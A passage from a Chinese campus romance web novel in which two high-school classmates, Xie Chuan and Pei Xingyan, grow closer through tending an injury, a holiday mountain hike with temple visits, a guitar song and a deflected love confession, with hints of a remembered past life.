“不不不,我路过而已。”罗繁觉得保命要紧,走之前又快速丢下一句,“进度挺快哈,坦诚相见了都!”
谢川当即就想把手边的书扔过去,奈何跑得太快。随后又笑了笑,就他嘴上没个把门的。
裴行砚没着急穿衣服,等着药膏干一点。
刚好谢川回了个消息,齐阳催促他们,说饭都打好了。
谢川看着他穿好衣服,说:“消炎了不少,注意平时别再磕碰到,特别是睡觉的时候。”
随后又觉得多嘴,补了一句:“医生嘱咐的。”
医生说注意事项的时候,他全程在,这句话明明是谢川自己想说的。
裴行砚没说什么,乖巧地点了点头。
到了食堂,人还是挺多,挤挤搡搡的,谢川一直走在裴行砚身后,为他挡着。
晚上放学后,裴行砚和谢川一起去警局报了案,做了笔录存放证据后就离开了。
分别时,天空积起了厚厚的乌云,雨滴争先恐后地砸向地面。
被暴晒了几天的路面蒸腾出大地的味道,裴行砚兴致缺缺。
在谢川想冒雨冲出去时,裴行砚拉住他。
“我叫了司机,等会再走,送你回去。”
谢川看了眼天空,拒绝了:“雨不大,转两个弯就是公交车站了。”
裴行砚依旧没有松手,仿佛在思考用什么理由说服他。
默了几秒,他说:“我还没上药,如果不涂,背后的伤好得很慢。”
果然,搬出了这个理由,谢川迈出去的步子停住了,但他很快反应过来:“你不是说有司机吗,让他给你涂啊。”
裴行砚绷着脸,面不改色地说了个借口:“我不喜欢其他人碰我。”
谢川:“???”
他突然脑子有点没转过来弯,面色不可思议的微微张着嘴,说:“那你喜欢我碰你?”
裴行砚没说话,就这样看着他,谢川不敢再看他眼睛,慌乱地移开了。
什么意思?不说话是什么意思?
谢川脑子有点凌乱,从高一一整学期的针锋相对,到前段时间裴行砚突然跟他道歉,他一直以为裴行砚只是换了种方式来隔应他。
到现在发生的种种事情,好像发展不对啊……
裴行砚看谢川一脸凌乱的表情,感觉再不开口解释他就要冷着脸离开了,然后以后再也不理他。
“我要是让司机看见了我的伤,明天一早我妈就能飞回来。”
听到还算合理的解释,谢川微微松了口气,并转头就威胁:“以后说话能不能快速点?”
“行了,药拿出来。”
裴行砚没动,环顾四周,挑了下眉:“在外面脱衣服,不好吧。”
“……”
事怎么这么多。
刚好司机到了,裴行砚拉开车门,顺势提出:“去我家吧。”
谢川就这样稀里糊涂的被诓到了裴行砚家,路上多多少少淋到了雨水,裴行砚给谢川一条新的毛巾,让他擦头发,还倒了杯水。
擦干头发,谢川直接进入主题:“给你擦药,等会雨更大了。”
意思就是赶紧擦完药我好回家了。
裴行砚倒是不急,慢悠悠的给自己接了杯水喝,然后说:“我先去洗个澡,淋雨了难受,背后黏糊糊的。”
“你事怎么……”谢川又想吐槽,抬眼看他身上确实湿了不少,“行吧,快洗。”
裴行砚微微勾了下唇,这会像是赶时间,边走边脱上衣。
“我在卧室里间洗,你要是无聊去我卧室待着,书架上的书随便看。”
裴行砚身量高,腿部更是优越的长,窄腰包裹进黑色长裤中,走路时腰胯微扭,有范儿得紧,背后的那道伤不仅没显得狰狞,反而增添了几分野性。谢川没有表情地盯了几秒,随后移开。
裴行砚的卧室很宽敞整洁,简单的配色和布置,床对面一整面书架,真是爱学习的好宝宝。
谢川随意扫了一圈,挑了个椅子坐下玩手机,给刘素婉发信息说他晚点回去。
突然窗外划过一片亮光,闪电隐没在云层,谢川抬头,没看见闪电的尾巴,倒注意到书桌上一个特别的相框。
是裴行砚朋友圈里的那个相框。
他莫名的被吸引到了,凑近去多看了几眼,没见过,心里有些好奇。
后方浴室传来砰的一声闷响,谢川吓了一跳,赶紧走过去敲门。
“怎么了?”
敲了几下没听到应声,不知道什么情况,他怕是裴行砚伤疼,不小心摔了。
“再不说话我进去了啊。”
里面裴行砚闷闷的声音传过来,朦朦胧胧的:“没事,摔了个东西。”
谢川松开准备往下拧的把手,过会儿,裴行砚裹着浴巾、携着一身热气出来了。
谢川扫了他一眼,没看见有什么地方受伤了,因为他听到的声音更像是砸在人身上,闷重的声响。
外面雨幕铺天盖地,天色逐渐混沌昏暗,房间压抑了不少。
谢川转头跟他说话,却见裴行砚眉目下沉,半压着眼皮,望着窗外的大雨,整个人散发着躁气、低迷的气息。
“你不喜欢下雨?”谢川问。
裴行砚回神,目光停留在谢川身上,低沉的气息渐渐散去。
“不知道,突然就很不喜欢这种暴雨天气。”
雨幕倾斜,透过窗户撒进来丝丝雨滴,谢川离得近,过去关上了窗户。
又看到了那个相框,谢川忍不住问道:“这是什么花。”
雷声轰鸣,裴行砚垂着眼看它,轻声回答:“薄荷花。”
他自顾自地说话:“它的花语是,永不消逝的爱,我愿与你再次相逢,你可以再爱我一次吗。”
裴行砚仿若在耳边低语,犹如贴着他耳朵说情话,谢川耳垂不由得热了起来。
旁边的人却是一动不动的盯着相框,出了神。
在谢川问
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出那句话的时候,记忆重叠、破碎,与另一道遥远的声音相融合。
“这是什么花。”
“薄荷花。”
“……”
又是一道闪电划过,裴行砚心脏狠狠地跳了一下,他几乎是秒抬头,看向谢川的神色多了几分炽热和迷茫。
他确定,他经历过现在这个场面,一样的话,一样的人。
在经历某个时刻时,总有熟悉的拉扯感,而谢川这个人,总能牵动他的心绪,为之沉沦。
一种情绪仿佛要撞破胸腔,他隐隐抓住了一些看不见的影子。
谢川再次被他眼中流露出的情绪惊到,跟上次在巷子里救了他,看他的眼神很像。
他也被连带着心跳加速了一瞬,又觉得莫名,偏了偏身子:“你怎么又这样看着我?”
裴行砚拉回了思绪,还没缓过来,手指不由自主地抓了抓,而后笑着:“刚想到了一些事情。”
沉默了一小会儿,他脱掉浴巾,半裸着上半身,背对着谢川坐在床上。
下一刻,手机铃声嗡嗡作响。
是裴行砚的手机,他看了眼视频通话的名字,手指顿在接听键上方,转身问后面的人:“我接个视频?”
谢川意外挑了下眉,你接电话还需要向我报备干嘛,他答:“你接。”
“妈。”
尹韵坐在办公室里,一头利落的中短发,看着气质清冷,不苟言笑,一开口却反差十足,声线偏柔和。
“你咋没穿衣服,才洗完澡啊。”
“嗯。”
“听学校的老师说你打架了?”
被询问的裴行砚没什么表情,谢川在旁边突然紧张了起来。
毕竟,这架,算是为他打的,还让人家儿子受了伤,他多少觉得有些不好意思。
裴行砚点头,下一秒,尹韵又问:“你打赢没,不会打输了吧,小时候你总是凶凶的,好多小朋友都被你揍过……”
“妈……”裴行砚绷着脸打断,因为他瞥见某个人抿着唇要笑不敢笑的样子。
“哎呀,行吧,不管你,自己注意着点。”
看来学校的老师没说他受了伤,可能是不敢说。
但是尹韵精明得很,下个问题就问到了点子上:“你没受伤吧?”
“……”
在裴行砚沉默的这两秒里,尹韵一下就看透了,皱了皱眉。
“伤哪儿了?”
裴行砚知道敷衍不过去,含含糊糊地说:“背后,小伤。”
“给我看看。”
“不对啊,你打架干什么,你的性格话都不说一句,高冷得很,谁会跟你有矛盾?”
尹韵女士再一次猜到了点子上,裴行砚无语地撇了撇唇。
谢川觉得他是不是该说点话,既然人家妈妈都问过来了,得承认。
所以他坐到裴行砚身边,偏了偏身子。
“阿姨,不好意思,裴行砚是为了帮助我,所以才受了伤,我已经陪他去过医院了,会好好地看着他,直到伤痊愈。”
两人都被吓了一跳,裴行砚是没想到谢川会主动跑出来承认,他本想敷衍过去。
尹韵姿态得体,没有出现多大的表情变化,还笑着打趣:“呀,儿子,你屋里还藏着个人呢。”
裴行砚:“……”
“哈哈哈,没事,帮助同学应该的,他能这样我还挺高兴,有人情味了。”
谢川标准礼貌地微笑着,裴行砚开口:“好了,我跟他还有点事,后面再给你打过去。”
随后挂断了视频,尹韵在手机另一边翻了个白眼。
“阿姨还挺随和。”谢川说。
裴行砚笑而不语。
本以为擦个药就走,没想到耽误了半小时,谢川很熟练地抹完了药,准备回去。
外面大雨依旧,裴行砚说:“让司机送你回去。”
谢川这次也没拒绝,应下了。
14. 你跟我出去玩吗
九月月末,迎来了第一次月考。
但似乎所有人都在为即将到来的国庆假期而激动,要考试的紧张感倒是没有。
齐阳跟前桌们聊得嗨起,手舞足蹈地讨论国庆去哪里玩。旁边的谢川兴致缺缺地撑着脑袋,时不时地翻看着英语单词。
其他科倒没有太大问题,就英语太拉胯,要是不进步个几名,又要去办公室喝茶。
正记着短语,门口有同学喊了一声:“谢川!有人找你!”
马上要上自习课了,谢川疑惑,谁找他?罗繁肯定不是,要是他,直接大摇大摆地进来了。
门口有几个女生引起了小小的骚动,“这是高三的俞学长吗,好帅啊,他怎么来高二部了?”
“找谁吧,听说他才参加完化学竞赛回来,拿了三等奖呢!”
“真的吗……”
谢川一出去就看见倚在栏杆上的人,规矩地穿着校服,戴着银框眼睛,正笑着跟门口的学妹打招呼。他有点恍惚,好久没见到他了。
“俞哥。”
“小川。”俞双奕略过那群女生,直直地走到谢川面前,眼睛带着笑意。
“你怎么过来了?”
“还不能过来看看你吗,这段时间一直在外面比赛,赶着月考回来,第一件事就是过来看你。”
俞双奕对他永远都是这副温柔、迁就的样子,他们小学就认识,在刘素婉没离婚前,两家是邻居。
在那个糟糕的生活里,俞双奕是他唯一的朋友,每次父亲发酒疯,连带着他也被打得是伤,就会被俞双奕带回去,默默的给他处理伤口,安慰着他。
所以在那段时间里,就像漂泊的灵魂暂时有了一处小小的落脚地。俞双奕对谢川来说,既是朋友,也是哥哥。
谢川回笑:“听说你拿了奖,恭喜啊。”
“谢谢。”俞双奕又想起了什么,问:“最近过得怎么样,没发生什么事吧?”
谢川愣了一下,事是发生得挺多的,打了好几架,但他觉得没必要告诉他,就随口道:“没有。”
俞双奕微笑着的嘴角僵了一瞬,很快又被掩盖,他提了杯奶茶到谢川面前:“这几天降温了,给你带了杯热奶茶。”
谢川比较喜欢甜的,而俞双奕带的这款奶茶又刚好是他喜欢的。
他微微有些惊讶,还是接过了,道了谢。
上课铃响了,俞双奕走了,谢川回了座位。
还没坐到凳子上,齐阳就半撑着身子调笑地看着谢川,嘴里还在:“哟哟哟。”
“哎,有张帅脸就是好哈,不像我,连哥哥的一半都比不上,都没有妹子给我送奶茶~”
刚好裴行砚从后门进,齐阳阴阳怪气的酸话一字不落地进了耳朵,他垂着目光淡淡地瞥了一眼谢川,以及他手上的奶茶。
谢川皱眉“啧”了一声,因为上课,音量压低不少:“少装,这他妈男的送的。”
齐阳瞬间没劲儿了,但又疑惑:“哪个男的,还给你送奶茶这糯叽叽的东西?”
“俞双奕。”
“哦。”齐阳也见过俞双奕几次,就没再问了。
上面裴行砚坐上了讲台,拿了几张卷子,说:“班主任有事,这节课我替她管纪律。”
听到秦瑛不在,下面小小的骚动了一下,没那么紧绷了。
谢川也放松下来,撕了吸管,准备喝奶茶,还没插进去,前面不合时宜的声音传来:“上课时间,不准吃零食。”
瞬间,教室所有人抬头,顺着裴行砚的视线望过去,谢川捏着吸管的手僵在了奶茶上方。
周围还传来了噗嗤的笑声。
“……”
你眼皮子底下第一排就有个人在啃面包,你眼瞎看不见?
谢川想骂,忍住了。
他黑着脸,对着裴行砚极其不爽地微笑了一下,表示他知道了。
倒不是怂,就是突然不想喝了。
谢川手中捏着的吸管,被用力的对折成两半。
这死玩意才好了没几天,又开始盯着他嚯嚯了。
不行,看来是最近好脸色给多了,谢川暗暗地想。
裴行砚见他不喝了,好心情的开始算题。
自习课下课,奶茶已经彻底冷掉,谢川嫌弃,不想再喝,但又觉得可惜,在想扔不扔。
旁边齐阳看他纠结嫌弃的脸色,给他解决了难题:“嫌冷了不喝啊?”
“给我,这玩意儿一杯20呢。”
谢川推了过去,但是吸管被他折了,又犯了难,只见齐阳从课桌里掏出一个新的吸管。
“还好上次多拿的吸管没扔。”
“……”
为期三天的月考落幕,众人欢腾,就算有觉得没考好的,也被即将的一个长假期冲散了不开心。
群里,齐阳带头讨论假期出行计划。
阳阳阳:“@全体成员。”
“有什么建议尽管提出来。”
路边草:“密室、鬼屋、游乐场。”
张宴:“这些地方人多吧。”
路边草:“国庆期间好像哪里人都多。”
宝娟i:“家里人不多。”
谢川才洗完澡,坐在桌前擦拭头发,水滴在了屏幕上,又亮了起来。
群里艾特到了他。
阳阳阳:“川哥人呢,出来讨论讨论。”
谢川胡乱地擦完,抓起手机回复:“我说了我要出去吗。”
齐阳似乎压根就没想到他不会去这个可能,就算料到了,此刻也开始了他胡搅蛮缠的本事。
“我不管,我们都出去,你一个人当异类啊。”
说罢觉得不够狠,又艾特了张宴跟李黎:“物理课代表、英语课代表,谢川要是不跟我们合群,以后不给他抄作业了!!”
路边草:“你狠!”
张宴:“这是你说的,不是我说的。”
阳阳阳:“我们要团结一心!你们怎么回事,卖我呢!”
谢川注意着群里的动静,对齐阳作死的行为正准备回击,裴行砚发来了信息。
“国庆节准备怎么过。”
谢川一顿,打开聊天框,犹豫了几秒,回复:“不知道。”
“不出去玩么。”
他有点不知道怎么回了,舔了舔干燥的嘴唇,喝了口水,反问回去:“你呢。”
那边一分钟没了动静,谢川就在聊天框等了一分钟,突然反应过来这行为好像热恋期守着男朋友回消息的少女。
他毫不犹豫地切换了出去,恰巧裴行砚又回了。
谢川咯噔一下磕下水杯。
裴行砚:“我一个人,怎么玩。”
谢川莫名就脑补出裴行砚一个人守着空空的大房子,每天只知道埋头写作业的孤独样子。
随后又揉了把头发,关他什么事,他打字:“你父母不回家么。”
说完又有点后悔,裴行砚肯定也是想家里人陪着的,肯定是大人工作忙,才被迫当了留守儿童。
正打算撤回这条消息,那边回:“不确定,可能会回来。”
这时,群里又在艾特他了,而且已经
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讨论出了具体去哪里玩。他们打算去爬山,离学校不远的地方有座雁云山,不是特别高,山顶还可以露营,人估计也比其他地方少些。
只需要抓上谢川,齐阳已经准备用他那三寸不烂之舌劝说他了,结果谢川改口说可以。
阳阳阳:“我都准备好一大堆腹稿劝你了,你居然突然同意了?”
谢川:“那我先不同意,你发挥一下?”
阳阳阳:“嘿嘿算了。”
谢川斟酌了一小会儿,给裴行砚发去消息:“你跟我出去玩吗。”
像邀请人出去玩这种事,谢川还是第一次干,以前都是别人苦口婆心劝他出去玩。
他莫名有点点紧张,眼睛一直垂着看裴行砚的聊天框,然后他就看见对方正在输入,输入了一半天。
他暗想,要是裴行砚说不去,他星期一不跟他说话了。
终于,对方回了信:“好啊。”
谢川眉头舒展开来,转手就把他拉进了群里。
“谢川”邀请“y.”加入群聊。
路边草:“拉谁进来了?”
由于群里只有齐阳知道裴行砚的微信昵称,其他人纷纷疑惑。
谢川:“裴行砚。”
群里静默了半分钟,冯逸元仿佛有点卡顿的疑惑:“你难道不知道这是作业群吗!!你放班长进来跟放了班主任进来有什么区别!!”
宝娟i:“我倒是无所谓,反正我是发作业那个。”
张宴:“哇偶,你们打算好好学习天天向上了吗。”
齐阳出去上了个厕所,也就两分钟没参与,看到聊天记录突然宕机,他立即跳脚,平时他作业抄得最多,但又怂于裴行砚看得到聊天记录:“班长你好啊哈哈哈,不是!作业群改学习群了吗呜呜呜。”
谢川无语,裴行砚抢先一步:“我又没说要告状,你们该怎么就怎么。”
齐阳态度立马来了个一百八十度大转变:“班长你真好~”
“要是我们有什么不懂的,可以指导指导我们的作业吗?”
换句话说,可以抄你的作业吗。
裴行砚:“指导可以。”
阳阳阳:“班长你真好~”
路边草:“班长你真好~”
张宴:“呜呜谢谢川哥,邀了个顶级学霸!”
宝娟i:“受不了你们了。”
接着又补了句:“膜拜大神,以后多多指导~”
谢川:“……”
“我邀他进来是因为他跟我们一起出去玩。”
阳阳阳:“ok,人多更热闹,那我们商量个时间?”
最终协调了一下众人的时间,定在了十月三号,前两天各自准备登山装备,吃食等,本来第一天假期在下雨,到了三号,不负众望地出了太阳。
他们约定雁云山脚下下午两点集合,一点钟的时候,谢川正在收拾背包,刘素婉知道他要跟同学出去玩,高兴的不得了,兴致勃勃的给他包里塞零食。
谢川看着已经鼓出来的包,无奈了叹了口气,制止了她:“好了妈,装不下了。”
“哎呀,还没装完呢。”她看了眼还剩半盘的零食,有点可惜,“好吧,你吃不下还可以分给同学吃。”
在高中之前,谢川几乎没什么朋友,独来独往的,性子冷冷的,话不多,刘素婉还担心了一段时间他会变得很孤僻,现在看起来他朋友很多,刘素婉就放心了。
出发前裴行砚突然来了个电话,谢川拉衣服拉链的手一抖,盯着来电界面微微蹙眉,他俩熟到这个地步了?
15. 相拜过同一尊神像
响了大约二十秒,谢川点了接听,没说话。
裴行砚好像在室外,有呼呼的风声:“你出发了吗。”
“没有,马上。”
“那,我跟你一起?”
谢川默了,小学生么,出行还要结伴,雁云山又不远,打车半个小时就到。
他没有直接拒绝,拐弯抹角地回:“你不是有司机么,我要去坐地铁,不方便。”
裴行砚淡淡道:“司机今天没在家,我也打算坐地铁。”
旁边随时待命的司机缓缓地冒出一个问号。出于职业素养,没有出声,默默地等待安排。
把他的话又堵了回来,谢川拧着眉思考了两秒,说:“行吧,地铁站口见。”
裴行砚挂了电话,漾开了一个微笑。
司机看怔了,好想给老板发一个:“好久没看到少爷笑了。”
地铁站口,谢川先到,入秋天气渐凉,树叶簌簌的被吹响,他穿着黑色冲锋衣,全身上下都是黑的,单肩背着背包,一手插在兜里,面色平淡。
站在那里疏离感就很强,进站的人频频回头,有人想要联系方式却又不敢上前。
谢川往旁边站了一些,躲开人群的视线,发微信催促裴行砚:“还没来?”
低头看手机的功夫,面前压过来一个黑影,“来了。”
谢川抬头,裴行砚跟他穿着相似度很高,也是冲锋衣,一头黑发软软地垂着,半遮住眼睛,因为比谢川高了一点,更显得凌厉、压迫。
他转身:“走吧。”
还挺帅。
国庆期间,地铁比平时都要挤,一进去就没有位置,只有站在角落,谢川面色有点不好看,皱着眉,旁边有个大叔一直往他这边挤,都快没空间了。
谢川有些后悔坐地铁,他本来是想打车,但开始为了堵裴行砚的话,说他要坐地铁,后面又不好改口了。
旁边伸过来一只手,挡在了大叔和谢川中间,有力又稳健,把双方隔绝开来。
裴行砚一只手抓着吊环,一只手护着谢川,形成了一个闭环的空间,面对面贴着。
车厢跑跑停停,惯性地晃荡,裴行砚时不时地砸进他怀里,擦着耳朵呼吸炽热。
谢川耳朵又红了,他转头低着声音,“有那么挤吗?”
裴行砚垂眼盯他:“嗯,很挤。”
谢川不说话了,身体退得不能再退了,一直偏着脑袋装死。
六站以后终于到了,谢川飞快地跨出去,在裴行砚眼里,羞怯又不好发作的谢川落荒而逃。
出站后还要打车,地铁直达不了。
到山脚下的时候已经两点过五分,其他人都到了。
冯逸元老远就看见他俩,忍不住感叹:“我靠,黑黑双煞啊,这俩帅绝人寰了吧。”
李黎少有的有些花痴,目不转睛:“真养眼啊,穿校服都甩别人一条街了,冲锋衣更绝。”
张宴上前一步挡在李黎面前,“哪儿呢?没看见啊。”
李黎:“……起开,你个近视眼。”
才爬没多久,非常巧的是碰见了罗繁班上一群人也在这里。
齐阳兴高采烈的过去打招呼,攀上他的肩膀:“真他妈巧啊,这也能遇见!早知道一起了。”
罗繁:“潍城就这几个地方不是很挤,想一块儿去了吗这不是。”
各自打了招呼,罗繁后面的一个女生看见谢川的时候眼睛亮了一下,盯了他好一阵儿。
爬了半个多小时,这俩腿长的已经甩开大部队在前面了,出了薄汗,阳光照得额头晶亮一片,碎发微微汗湿。
净白骨感的手指倏地伸过来,指缝间夹着一张白纸。
谢川正想着打开背包拿纸,身边人像通晓他心意一样,先一步递了过来。
谢川接过,摁着脑门的汗,手又伸过来,握着一瓶饮料。
“你……”谢川想说什么,一路上裴行砚像他长辈似的,一直照顾着他,待遇好的不得了。
裴行砚:“我记得你说你喜欢甜的是吧。”
他怎么知道,谢川有点疑虑,面上却不显,淡声问:“谁告诉你的。”
嘴上这么问,手却接过了那瓶饮料,仰头喝了起来。
裴行砚微微笑了,“我猜的。”
路上走走停停,大部分时间是为了等后面的人,都不怎么累,一小时后,到达半山腰,齐阳一群人拖着酸软的身体,直道谢川不是人,跑那么快。
“腿长了不起啊!哎哟我去,这山怎么这么陡。”
谢川无情打击:“人家女孩儿都没有哭天喊地的,别说我认识你。”
李黎听到这话,默默按住了微微颤抖的双腿。
罗繁一屁股坐到旁边的石墩上:“先歇歇吧,天色还早,这半山腰附近好像有个道观,可以拜拜,让我的月考成绩别被我老爸追杀。”
“晚了!神仙还能篡改卷子不成。”齐阳怼道。
说是这样说,一行人还是去了道观,上香的人比较多,烟雾缭绕下,一副副虔诚的模样,一句句诚恳的祈愿。
谢川不信这些,但对信奉神佛的人也没什么看法,只默默地跟在大部队后面,看他们拜保佑学业的神像。
他转头,看见裴行砚跟他一样站着不动,随口问:“你不拜拜?”
裴行砚轻转眼珠:“我需要拜?”
自信且欠揍。
“在这里这么嚣张,小心一回去就被神秘力量制裁。”谢川梗了他一句,看不惯某人这么嚣张。
裴行砚轻笑,嘴上也不输:“你貌似也不需要拜,拜我就行,平时都是我在教。”
“……”
谢川顶了顶牙,默默地记上了这笔账,碍于环境,沉着音一个字一个字的往外蹦:“裴、行、砚。”
被叫的人反省了一下下,开始顺毛:“开玩笑的,别生气。”
齐阳本着来了不白来的思想,也不认识哪些神像管的是什么,觉得都是好的,连着一排拜了过去。
自己拜还不过瘾,顺手拉了站在走廊的谢川一起拜。
谢川:“??”
“你拉我干嘛?”
齐阳:“哎呀,来都来了。你杵那儿干嘛,这里不需要站岗的。”
谢川无语至极,但进都进来了,不拜一下就转身出去,好像不太好。
他跟着齐阳的手势动作,也拜了三下,拜完就溜了。
然后就看见裴行砚脸色复杂地看着他,欲言又止的样子。
谢川没好气道:“没人把你嘴缝上,有话就说。”
“你拜的是送子张仙。”
诡异的沉默蔓延开来,后面过来的齐阳听到这话也僵住了。
旁边目睹了一切的一对夫妇不解地看向他们,嘴里嘟囔:“现在求子从学生就开始求了吗?”
“…………”
谢川试图挣扎:“你又知道了?”
裴行砚抬起手指,指了指头上的牌子,“这不写着呢吗。”
语气平静,侮辱性极强,两个人,没一个看到名字的。
谢川待不下去了,捂着脸转头就走,社死此刻展现得淋漓尽致。
裴行砚想笑又不敢笑,抬手捂嘴轻咳两声,他怕某人听到笑声受刺激,回头又跟他算账。
谢川心里骂了齐阳几百遍,觉得面子挂不住,走了几步发现张宴跟李黎在拜一
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座神像,他抬头看了眼名字,太阴星君,不是什么奇奇怪怪的,心想,都在拜,这次应该不会错了吧。
或许是为了掩饰住刚才的尴尬,在他俩走后,进去准备拜拜。
片刻,身边多了一个人,裴行砚跟随着他的动作俯身、起身,往复三次,神像平静的目光注视着他们,深邃又祥和。
在往复低头的刹那间,裴行砚由心底蔓延而上的熟悉感席卷全身,他动作微顿,偏头看向谢川,眸光微幽。
原来,我早就与你一起,相拜过同一尊神像。
出去后,李黎滑动着手机,正小声地抱怨:“张宴……刚才你带我拜的姻缘??”
张宴嘿嘿地笑着:“是啊,怎么了,姻缘不能拜?我母单十几年了。”
李黎无语:“我们俩一起拜的,你说你求的谁的姻缘?!”
刚拜完的谢川:“……”
他缓缓转头看裴行砚,木着脸,眼神里隐着丝丝杀气。
他突然觉得,不是他克裴行砚,就是裴行砚克他。
而裴行砚的表情既不惊讶,也表现得不在乎,只安静地看着谢川。
谢川木然,转念一想,反正没人看见,无所谓。
结果下一秒,张宴不知死活地凑过来:“诶?川哥你刚是不是和班长跟着我们后脚进去的?”
谢川手一撑,撇开张宴的脸:“不是,你看错了。”
“没有啊…你俩穿得跟情侣装似的,很好认的。”张宴小声嘟囔着。
谢川觉得自己的拳头又硬了:“你不说话没人把你当哑巴!”
李黎赶紧过来拐走了张宴,“不好意思啊,他最近脑子有点问题哈哈哈。”
张宴:“??”
众人赶在了太阳即将西落前爬到了山顶,登顶的那一刻,齐阳如释重负大喊一声:“啊!....雁云山,我来了!”
罗繁紧随其后:“啊!!......”
其他人连忙与他俩拉开距离,在路人探究的眼神中装作不认识。
上面有很多零食摊,卖得五花八门,闲逛一圈后,选好了扎营地点,在人比较稀少的草坪上。
齐阳:“诶,罗繁你们跑那么远干嘛,围起来啊,把桌布拼一拼不就够了......”
齐阳跟罗繁张罗着布置场地,谢川、裴行砚和五班的几个去巡视有没有其他好吃的,就吃自己带的那点干粮根本不够。
果然,闻着味儿让他俩找着了卖串的,各样都点了一遍,烤都烤了半个小时,回去的时候提着满满一大袋。
看得齐阳眼睛都直了:“我靠,在这里也能吃上串儿,还是川哥会找。”
其他人也带了些水果和饮料回来,夕阳西下,众人迎着余晖围坐畅谈。
裴行砚自己没吃多少,一直盯着谢川爱吃什么,然后先他一步给他放手边。
五班的一些人对他们不熟悉,还停留在贴吧上对外传的一凑就掐架的印象。
“不是说谢川和裴行砚关系水火不容吗,怎么看着,还有点相亲相爱?”
罗繁咬了一口串,淡定道:“消息也要与时俱进啊,你这都是哪年的老黄历了。”
“有说法?”
“谢川一有事,裴行砚第一个上赶着护着,懂了没?”
后者一副恍然大悟的模样。
谢川坐在对面,隐隐听到了自己的名字,皱眉抬眼:“在叽里咕噜的说什么呢。”
两人霎时装作没事发生的样子,埋头吃东西。
谢川忽的转头,还是皱着眉的样子:“还有你,别往我这边塞了,都快吃撑了。”
裴行砚默默地收回手中的橙子,自己咬了上去。
16. 亲爱的
旁边有人用小音响放了音乐,悠悠扬扬的传过来,一个男生兴致冲冲地起身:“我去隔壁借把吉他,整点音乐。”
氛围越来越高涨,弹了几首,会弹吉他的轮着传,传到谢川这儿的时候,他看都没看直接递给了旁边的裴行砚。
裴行砚接过,缓缓拨动了一下琴弦。
谢川挺意外的,说:“有情调啊,居然会弹这个。”
裴行砚微微一笑,不过并没有打算弹,准备往下传,谢川随意一说:“弹一首呗。”
“你想听?”
这话问得,回答想,太暧昧了,回答不想,但刚刚是他让弹一首。
谢川正纠结怎么回答,齐阳刚好凑过:“呀,学霸,来一首!~”
“掌声响起!”
“......”
这氛围组十分到位。
将目光收回,裴行砚低头,轻轻试了几个音,手指微动,交错轻拨,清澈舒缓的弦音流泻开来。
他唱歌的音色和平时说话很不相同,或许是旋律的原因,赋上些许温柔、清绵的感觉,落在耳里,软了心弦。
已经有人举起手机拍照,周围很安静,皆陶醉其中。
谢川偏头,半垂着眼睛,呼吸轻缓地听着,他盯着裴行砚白皙清削的下颌线、微微滚动的喉结、扑朔下垂的睫毛。
莫名觉得有些迷人。
难怪学校那些女生为他痴为他狂,确实有资本。
一时,入了神,直到曲毕,裴行砚转头看他,谢川才大梦初醒般回了思绪。
有种被抓包的尴尬感,谢川欲盖弥彰地摸了摸脖子,夸道:“不错,好听。”
裴行砚眼里逐渐染上笑意,心中雀跃,张口却只是淡淡地“嗯”了一声。
有人问:“学霸,我英语不好,没太听懂,歌名是什么啊?”
谢川也好奇地看着他,裴行砚说:“Beloved。”
谢川觉得很耳熟,好像前段时间背过,但他对单词这玩意,最长的记忆力大概只有几天。
所以他偏头单独问裴行砚:“什么意思。”
裴行砚眼色暗了一分,盯了他两秒,凑近他耳边,轻启唇:“亲爱的。”
那一刻什么感觉,谢川形容不上来,只是耳廓刷的一下红了,连带着右肩都泛上来一片酥麻。一动没敢动,蛊惑的余音仿若还萦绕耳边。
心率不正常的波动,片刻,他低骂:“草。”
许是音乐烘托了氛围、膨胀了情绪,五班的一个女生大胆的站了起来,成为目光聚焦。
坐在她一旁的罗繁疑惑,问她:“怎么了?”
她是五班班花,长相清甜,身材姣好,罗繁悄悄喜欢她好一段时间了,但一直不敢告白。
女生没回答罗繁的问题,眼神炽热地看着对面的谢川。
裴行砚嘴角微敛,静沉地看着她。
他记得,在某个时空里,也是今天这个场景,一个女生当众表白了谢川,还送了他一个礼物,而谢川最终也收下了这个礼物。
当时的他,是什么心情,没资格吃的醋,独自生的闷气,无人知晓。
下一秒,女孩羞怯却不扭捏的声音传来:“谢川同学,我知道有点冒昧,但今天还是想把憋了一年的话说出来。”
“我......我高一就喜欢你了。”她从身后掏出一个包装精致的粉色盒子,“你能收下我的礼物吗。”
沉默骤起,罗繁一脸破碎心痛的表情,看了看自己的女神,又看了看自己的兄弟。
谢川懵逼了,还没完全从裴行砚无意的撩拨中缓过神来,又一个重磅炸弹朝他抛来。
他面无表情地绷着脸,心里默想,以后出门得先看个吉凶。
以前拒绝过的妹子不少,但都是没人、私下拒绝的,这次当着这么多同学的面,谢川犯了难。
有人开始窃窃私语了,谢川欲言又止,脸色纠结。
“他有喜欢的人了。”裴行砚替他解围。
谢川瞳孔震惊:“???”
我怎么不知道我有喜欢的人?
“我靠谢川你不把我当兄弟,这事儿告诉裴行砚都不告诉我!”听到这消息,齐阳就差冲过来掐着谢川的脖子摇晃了。
冯逸元捂着嘴震惊,一脸看好戏的神情。
女孩儿懵懵的,后又变得失落,默默收回了双手。
“好吧,没事的,能够遇见你也算是足够了。”她大大方方地坐下,几乎看不出尴尬。
谢川微笑着冲她点点头。
齐阳八卦的心上了头,一个劲儿地追问谢川:“你到底喜欢谁啊?高三的级花?高一的孙倩倩?还是校外的?”
谢川被问得烦了,脱口而出:“问裴行砚去。”
他挖的坑自然是让他填。
“......”
天色早已黑透,众人没玩得尽兴,罗繁从包里掏出一副卡牌:“来来来,玩游戏。”
“不会又是真心话大冒险吧。”齐阳拖着音调,“都玩腻了。”
罗繁竖起手指摇了摇:“nonono,是翻版的真心话大冒险哦。”
“我先介绍一下游戏规则,轮流向右边的人低声问一个问题,被问者大声回答,由其他人猜问题是什么,如果猜出,出题者和被问者各干一杯,或者让猜出问题者指定一个惩罚。”
“如果没人猜得出,但是想知道问题是什么,就自己干一杯获取答案。”
“那么,从我这里开始吧。”
罗繁右边是齐阳,他开头,问了个很常规的问题:“你觉得在场的人当中谁最有人格魅力?”
齐阳仅仅思索了0.1秒,脱口而出:“我!”
罗繁:“。”
李黎:“什么问题啊,回答这么简洁,怎么猜。”
齐阳:“那就看你们的本事咯。”
“在场的人谁没谈过恋爱?”
齐阳得意的笑僵在脸上:“……”
张宴:“谁最丑?”
“谁最二臂?”
齐阳:“你他m……”
短促的笑声传过,谢川靠在椅子上漫不经心:“你们应该往不要脸的方向猜。”
他继续说:“比如,在场的人谁最帅。”
罗繁:“诶诶诶,接近了!”
